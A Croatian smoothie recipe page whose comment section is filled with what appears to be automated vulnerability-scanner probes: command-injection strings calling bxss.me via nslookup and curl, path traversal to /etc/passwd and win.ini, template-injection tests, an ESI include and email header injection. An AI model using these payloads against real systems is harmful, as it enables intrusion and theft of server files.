Pripremimo 1/2 šalice zamrznutog šumskog voća.
Pomiješamo ga sa jogurtom, mlijekom, bananom i šećerom.
Sve sastojke izmiksamo u blenderu dok ne dobijemo glatku smjesu.
Ovaj ukusni napitak možemo ukrasiti listovima svježe metvice ili komadićima voća po izboru.
Umjesto banane u smoothie možemo staviti mljevene sjemenke po ukusu.
Dobar tek!
Komentari
Dodaj komentar555
ghovjnjv 20.11.2023 15:57
1BtbnnVKFiO
ghovjnjv 20.11.2023 15:57
response.write(9084179*9512038)
ghovjnjv 20.11.2023 15:57
echo rldosz$()\ hwpxjj\nz^xyu||a #' &echo rldosz$()\ hwpxjj\nz^xyu||a #|" &echo rldosz$()\ hwpxjj\nz^xyu||a #
ghovjnjv 20.11.2023 15:57
'+response.write(9084179*9512038)+'
ghovjnjv 20.11.2023 15:57
&echo wftryw$()\ caijfv\nz^xyu||a #' &echo wftryw$()\ caijfv\nz^xyu||a #|" &echo wftryw$()\ caijfv\nz^xyu||a #
ghovjnjv 20.11.2023 15:57
"+response.write(9084179*9512038)+"
ghovjnjv 20.11.2023 15:57
555&echo jkbgbr$()\ fzllhz\nz^xyu||a #' &echo jkbgbr$()\ fzllhz\nz^xyu||a #|" &echo jkbgbr$()\ fzllhz\nz^xyu||a #
ghovjnjv 20.11.2023 15:57
w9nqpSB6
ghovjnjv 20.11.2023 15:57
555
1DH9oh5mfnO 20.11.2023 15:57
|echo tfleym$()\ dgwatz\nz^xyu||a #' |echo tfleym$()\ dgwatz\nz^xyu||a #|" |echo tfleym$()\ dgwatz\nz^xyu||a #
ghovjnjv 20.11.2023 15:57
555
U8Txkc7N 20.11.2023 15:57
555|echo dlsytg$()\ yqjilz\nz^xyu||a #' |echo dlsytg$()\ yqjilz\nz^xyu||a #|" |echo dlsytg$()\ yqjilz\nz^xyu||a #
ghovjnjv 20.11.2023 15:57
../../../../../../../../../../../../../../etc/passwd
ghovjnjv 20.11.2023 15:57
555
response.write(9965311*9543478) 20.11.2023 15:57
(nslookup -q=cname hitcqgizsckopf699c.bxss.me||curl hitcqgizsckopf699c.bxss.me))
ghovjnjv 20.11.2023 15:57
555
'+response.write(9965311*9543478)+' 20.11.2023 15:57
../../../../../../../../../../../../../../windows/win.ini
ghovjnjv 20.11.2023 15:57
$(nslookup -q=cname hitzdfarfalabd78bd.bxss.me||curl hitzdfarfalabd78bd.bxss.me)
ghovjnjv 20.11.2023 15:57
555
bcc:074625.146-397767.146.ba64c.19681.2@bxss.me
ghovjnjv 20.11.2023 15:57
file:///etc/passwd
ghovjnjv 20.11.2023 15:57
&nslookup -q=cname hitxmorwrrecc628a6.bxss.me&'\"`0&nslookup -q=cname hitxmorwrrecc628a6.bxss.me&`'
ghovjnjv 20.11.2023 15:57
555
"+response.write(9965311*9543478)+" 20.11.2023 15:57
555
ghovjnjv 20.11.2023 15:57
&(nslookup -q=cname hitgwvdyhpzhgced31.bxss.me||curl hitgwvdyhpzhgced31.bxss.me)&'\"`0&(nslookup -q=cname hitgwvdyhpzhgced31.bxss.me||curl hitgwvdyhpzhgced31.bxss.me)&`'
ghovjnjv 20.11.2023 15:57
../555
ghovjnjv 20.11.2023 15:57
to@example.com>
bcc:074625.146-397768.146.ba64c.19681.2@bxss.me
ghovjnjv 20.11.2023 15:57
12345'"\'\");|]*{
ghovjnjv 20.11.2023 15:57
|(nslookup -q=cname hitwspfnxywfb2dfb5.bxss.me||curl hitwspfnxywfb2dfb5.bxss.me)
ghovjnjv 20.11.2023 15:57
`(nslookup -q=cname hitkoolhkbaqr9f8a5.bxss.me||curl hitkoolhkbaqr9f8a5.bxss.me)`
ghovjnjv 20.11.2023 15:57
;(nslookup -q=cname hitbdfqzphlbj81983.bxss.me||curl hitbdfqzphlbj81983.bxss.me)|(nslookup -q=cname hitbdfqzphlbj81983.bxss.me||curl hitbdfqzphlbj81983.bxss.me)&(nslookup -q=cname hitbdfqzphlbj81983.bxss.me||curl hitbdfqzphlbj81983.bxss.me)
ghovjnjv 20.11.2023 15:57
555
ghovjnjv bcc:074625.146-397771.146.ba64c.19681.2@bxss.me 20.11.2023 15:58
555
to@example.com> bcc:074625.146-397772.146.ba64c.19681.2@bxss.me 20.11.2023 15:58
555
ghovjnjv 20.11.2023 15:58
${10000395+9999032}
ghovjnjv 20.11.2023 15:58
555
ghovjnjv<esi:include src="http://bxss.me/rpb.png"/> 20.11.2023 15:58
555
../../../../../../../../../../../../../../etc/passwd 20.11.2023 15:58
555
../../../../../../../../../../../../../../windows/win.ini 20.11.2023 15:58
555
${10000449+10000214} 20.11.2023 15:58
555
ghovjnjv 20.11.2023 15:58
555
12345'"\'\");|]* { <